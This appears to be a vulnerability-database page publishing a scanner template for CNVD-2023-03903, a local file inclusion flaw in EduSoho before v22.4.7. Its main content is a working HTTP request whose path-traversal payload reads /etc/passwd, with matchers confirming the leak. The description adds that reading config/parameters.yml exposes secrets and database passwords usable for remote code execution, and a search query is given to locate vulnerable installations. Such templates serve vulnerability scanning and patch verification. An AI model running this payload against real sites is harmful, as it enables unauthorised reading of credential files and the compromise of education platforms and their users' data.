CNVD-2023-03903: EduSoho < v22.4.7 - Local File Inclusion

2025-08-01 EduSoho PoC Public

Description

The edusoho education and training system <v22.4.7 has unauthorized file reading vulnerability. Through this vulnerability, an attacker can read the contents of the config/parameters.yml file and obtain sensitive information such as the secret value saved in the file and database account password. After the secret value is obtained, an attacker can implement RCE with symfony _fragment routing.

PoC

id: CNVD-2023-03903

info:
  name: EduSoho < v22.4.7 - Local File Inclusion
  author: s4e-io
  severity: high
  description: |
    The edusoho education and training system <v22.4.7 has unauthorized file reading vulnerability. Through this vulnerability, an attacker can read the contents of the config/parameters.yml file and obtain sensitive information such as the secret value saved in the file and database account password. After the secret value is obtained, an attacker can implement RCE with symfony _fragment routing.
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/135007351
    - https://github.com/gobysec/GobyVuls/blob/master/CNVD-2023-03903.md
  metadata:
    verified: true
    max-request: 1
    vendor: hagzhou-kuozhi-network-technology
    product: edusoho
    fofa-query: title="Powered By EduSoho" || body="Powered by <a href=\"http://www.edusoho.com/\" target=\"_blank\">EduSoho" || (body="Powered By EduSoho" && body="var app")
  tags: cnvd,cnvd2023,lfi,edushoho,vuln

http:
  - raw:
      - |
        GET /export/classroom-course-statistics?fileNames[]=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "text/csv"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b6a4a2a2c1c72aa3e6827efc7097fc85678127ad2002ed6d54791c4c31071959022100c4e8524c2e7c7f22c9fc05997e81eb99e90b7e545146c1f03d45ed95402f39be:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities